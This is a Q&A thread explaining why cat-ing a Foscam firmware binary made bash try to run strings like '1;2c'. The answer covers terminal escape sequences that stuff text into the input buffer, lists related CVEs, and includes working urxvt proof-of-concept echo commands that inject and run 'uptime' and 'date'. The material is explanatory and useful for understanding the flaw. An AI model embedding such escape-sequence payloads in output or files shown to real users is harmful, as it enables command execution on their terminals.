I often use cat on the console to view the contents of files, and every now and then I accidentally cat a binary file which basically produces gibberish and system beeps. However today I've encountered a situation where the output from the cat utility got redirected to the console input so I got stuff like this:

-bash: 2c: command not found
-bash: 1: command not found
-bash: 1: command not found
-bash: 112: command not found
-bash: 112: command not found
-bash: 1: command not found
-bash: 0x1: command not found
-bash: 2c1: command not found
-bash: 2c: command not found
-bash: 1: command not found
-bash: 1: command not found
-bash: 112: command not found
-bash: 112: command not found
-bash: 1: command not found
-bash: 0x1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found


...
...

This got me thinking that a specifically crafted binary file could create quite a mess on the system?!... Now I do realize using cat recklessly like this is not particularly smart, but I would actually like to know what is going on here. What characters produce the effect of suddenly dumping the content on standard input...   

Note: I was in Mac OS X terminal while doing this, I've actually called diff -a to compare two firmware rom images and print the differences out(I thought there would be just a few bytes of differences but there where almost 8 MB of differences printed to the screen) Later I tried, on purpose, to cat one of the files and got the same effect like I've pasted here.

- UPDATE - - UPDATE - - UPDATE -

I've posted this here late at night yesterday and this morning I tried to replicate the behaviour and I can not. Unfortunately I can not be sure if some escape characters caused the gibberish from the binary to be executed on the console automatically or if at the end of the cat I just got a bunch of characters left(as If I've pasted them) on the command line and I've probably pressed enter accidentally to get a clear line...  

When I try to cat the file in question now I get this when it completes(scroll right to see):

D?k(Fli9p?s?HT?78=!g??Ès3?&é??  =??7??K?̓Kü<ö????z(;???????j??>??ö?Ivans-MacBook-Pro:FI9826W-2.11.1.5-20140121 NA ivankovacevic$ 1;2c1;2c1;2;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c;1;1;112;112;1;0x1;2c1;2c;1;1;112;112;1;0x1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c


My actual prompt is:

Ivans-MacBook-Pro:FI9826W-2.11.1.5-20140121 NA ivankovacevic$


Where:

FI9826W-2.11.1.5-20140121 NA


is the current working dir.
As you see it was camouflaged in the binary gibberish and I might have pressed enter reflexively or something. This in itself is a bit wrong of cat because obviously my prompt might have been even better "camouflaged." But it is less serious than I initially thought. Although I'm still not 100% sure that it did not execute automatically last night when I tried, because there was also another peculiar thing that happened last night, before this. I've called cat on another very similar file that caused Terminal app to quit with:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x00007fcb9a3ffffa


Now I'm thinking that maybe a combination of these two events have caused the auto execution of gibberish on the console. But I can not replicate that behaviour again.

The files in question are firmwares for a Foscam IP camera, here are the links:  

International site:
http://foscam.com/Private/ProductFiles/FI9826W-2.11.1.5-20140120.zip
And then the file inside: FI9826W_app_ver1.11.0.40_OneToAll.bin

calling cat on that one will cause Terminal to quit.

US site:
http://foscam.us/downloads/FI9826W-2.11.1.5-20140121%20NA.zip
and then the file: FI9826W_app_ver1.11.0.40_OneToAll_A.bin

cat-ing that one will cause that paste of 1;2c1;2c1;2;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c.... characters on the command line

Yes, it's a potential risk, see CVE-2003-0063, or CVE-2008-2383 or CVE-2010-2713, or CVE-2012-3515 or OSVDB 3881, or CVE-2003-0020 or any of the similar ones listed here... Some more in comments below also. 

Update it's not just a potential risk, it's a real risk. 
rxvt-unicode (versions 2.7—9.19,  patched in 9.20) allows read/write access to X window properties, this can enable user-assisted execution of arbitrary commands, this issue has been assigned CVE-2014-3121, more details here https://bugzilla.redhat.com/show_bug.cgi?id=1093287 .

More recently (October 2019) iTerm2 versions up to v3.3.5 were found to have the same class of problem: display of malicious content can enable the integrated tmux and permit command execution, see CVE-2019-9535.

This topic also has good coverage here: https://unix.stackexchange.com/questions/73713/how-safe-is-it-to-cat-an-arbitrary-file and a thorough analysis of the underlying problem from Gilles here: https://unix.stackexchange.com/questions/15101/how-to-avoid-escape-sequence-attacks-in-terminals .



Explanation

What you are observing is a side-effect of how certain escape sequences behave: some of them stuff characters (usually also containing escape sequences) directly into the terminal input buffer. All in the name of backward compatibility, of course. The standard xterm escapes which are described using  the term "Report <something>" do this. This behaviour permits programs to query/set terminal (or other) properties "in band" rather than via ioctls or some other API.

As if that wasn't bad enough, some such sequences can contain a newline, which means that whatever is reading from the terminal (your shell) will see what appears to be a complete user command.

Here's a neat way to use this, with bash's read to print an escape (as a prompt) then immediately read and split the reply into variables:

IFS=';' read -sdt -p $'\e[18t' csi8 rows cols
echo rows=$rows cols=$cols


These sequences can vary by terminal, but for rxvt and derived, the graphics query escape includes a newline (example using bash and $'' strings, see doc/rxvtRef.txt in the source)` :

$ echo $'\eGQ'
$ 0
bash: 0: command not found


This escape sends \033G0\n into the terminal input buffer (or digit 1 instead of 0 if you have a graphics-capable rxvt).

So, combine this escape with other sequences which behave similarly:

echo $'\x05' $'\e[>c' $'\e[6n' $'\e[x' $'\eGQ'


for me this causes 11 attempts to run various commands: 1, 2c82, 20710 (my rxvt version string), 0c5, 3R (5 and 3 were the cursor coords), 112 and 0x0. 

Exploitable?

With rxvt and most recent terminal emulators you should "only" be able to create a limited set of mostly numeric sequences. In old terminal emulators it was possible (some CVEs listed above) to access the clipboard, the window icon and titlebar text to construct more malicious strings for invocation (one current slight exception is if you set the answerbackString X resource string, but that cannot be directly set using this method). The flaw then is allowing arbitrary read and write access to  something that passes for state or storage within escape sequences that stuff data into the input buffer.

rxvt requires compile time changes to activate, but urxvt helpfully has an -insecure command line option that enables some of the more exciting features:

$ echo $'\e]2;;uptime;\x07' $'\e[21;;t' $'\eGQ' 
bash: l: command not found
17:59:41 up 1448 days,  4:13, 16 users,  load average: 0.49, 0.52, 0.48
bash: 0: command not found


The three sequences are: 


\e]2;...\x07 set window title; 
\e[21;;t query window title, place in input buffer; 
\eGQ query graphics capability, which adds \n to input buffer.


Again, depending on terminal, other features such as font size, colors, terminal size, character set, alternate screen buffers and more may be accessible though escapes. Unintended modification of those is at least an inconvenience, if not an outright security problem. Current versions of xterm restrict potentially problematic features via "Allow*" resources.

CVE-2014-3121

Prior to v9.20, urxvt did not also guard read and write access to X properties (mostly used by window managers). Write read access (or more precisely, access to sequences which echo potentially arbitrary strings) now requires the -insecure option.

$ echo $'\e]3;xyzzy=uptime;date +%s;\x07'
$ xprop -id $WINDOWID xyzzy
xyzzy(UTF8_STRING) = 0x75, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x3b, 0x64, 0x61, 0x74, \
0x65, 0x20, 0x2b, 0x25, 0x73, 0x3b


This can be trivially used to stuff arbitrary strings into the terminal input buffer. When the escape sequence to query a property is invoked (along with helpful \eGQ which adds a newline):     

 $ echo $'\e]3;?xyzzy\x07' $'\eGQ'
 $ 3;uptime;date +%s;0
 bash: 3: command not found
 17:23:56 up 1474 days,  6:47, 14 users,  load average: 1.02, 1.20, 1.17
 1400603036
 bash: 0: command not found


Multiple commands, preserving whitespace and shell metacharacters.
This can be exploited in a variety of ways, starting with cat-ing an untrusted binary of course, further ideas in H.D. Moore's short paper (2003).



Followup

For the escape sequence you ask about: 1;112;112;1;0x1;2
This is: Request Terminal Parameters (DECREQTPARM) and Send Device Attributes :

$ echo $'\e[x' $'\e[0c'
;1;1;112;112;1;0x1;2c


The second one (\e[0c) is the same as ^E (using rxvt). There are some escape sequences in there too. the full sequence written for each is, respectively:

\e[1;1;1;112;112;1;0x
\e[?1;2c

